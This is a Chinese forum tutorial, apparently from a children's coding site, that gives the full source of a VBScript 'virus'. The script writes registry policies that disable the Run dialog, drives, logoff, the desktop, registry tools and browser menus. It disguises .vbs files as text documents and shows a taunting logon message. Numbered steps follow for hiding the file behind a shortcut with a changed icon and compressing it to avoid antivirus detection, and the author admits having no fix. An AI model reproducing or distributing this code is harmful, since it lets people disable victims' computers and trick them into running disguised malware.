猫史档案馆

Hello,大家好！到了教程时间了！我们来做个vbs小病毒，但是不要乱传，这东西很厉害！是个蠕虫（好像吧~）   OnErrorResumeNext Setfs=CreateObject("Scripting.FileSystemObject") Setdir1=fs.GetSpecialFolder(0) Setdir2=fs.GetSpecialFolder(1) Setso=CreateObject("Scripting.FileSystemObject") dimr Setr=CreateObject("Wscript.Shell") r.Regwrite"HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152" r.Regwrite"HKLM\Software\classes\vbsfile\","文本文档" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD" r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry","" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD" r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","病毒的信" r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","哈哈哈！你中招了！你的电脑要无了！哈哈哈哈哈！！！" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Advanced",1,"REG_DWORD" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD" r.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD" r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD" 呼呼，终于写完了。累喵我了，这病毒带有黑屏，嘲笑等功能，但最好不要试，不然······ imgsrc="https://static.codemao.cn/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E4%BC%A4%E5%BF%83.gif"alt="emotion_编程猫_伤心"imgsrc="https://static.codemao.cn/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E8%80%8D%E8%B5%96.gif"alt="emotion_编程猫_耍赖" 当然没有解药（实际有，可忘了，以后发补丁······），所以不要乱试，本作者不承担任何责任，再次声明！！！！！！ 1.新建一个文本文档。 2.打开此电脑，点击查看，点击文件拓展名。 3，打开文本文档，复制代码。 4.保存，重命名：***.vbs   跳提示框不管他，确定。可以看到图标变了样。 5.右键创建快捷方式，给快捷方式重命名自己喜欢的名字。 6.快捷方式右键属性，给他换个图标。 7.本体右键属性，隐藏。 如果不想被360或别的干掉，建议将本体和快捷压缩。 注意：不要乱传和打开！本作者不负责任，只给爱编程的人用！ imgsrc="https://static.codemao.cn/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E7%82%B9%E8%B5%9E.gif"alt="emotion_编程猫_点赞"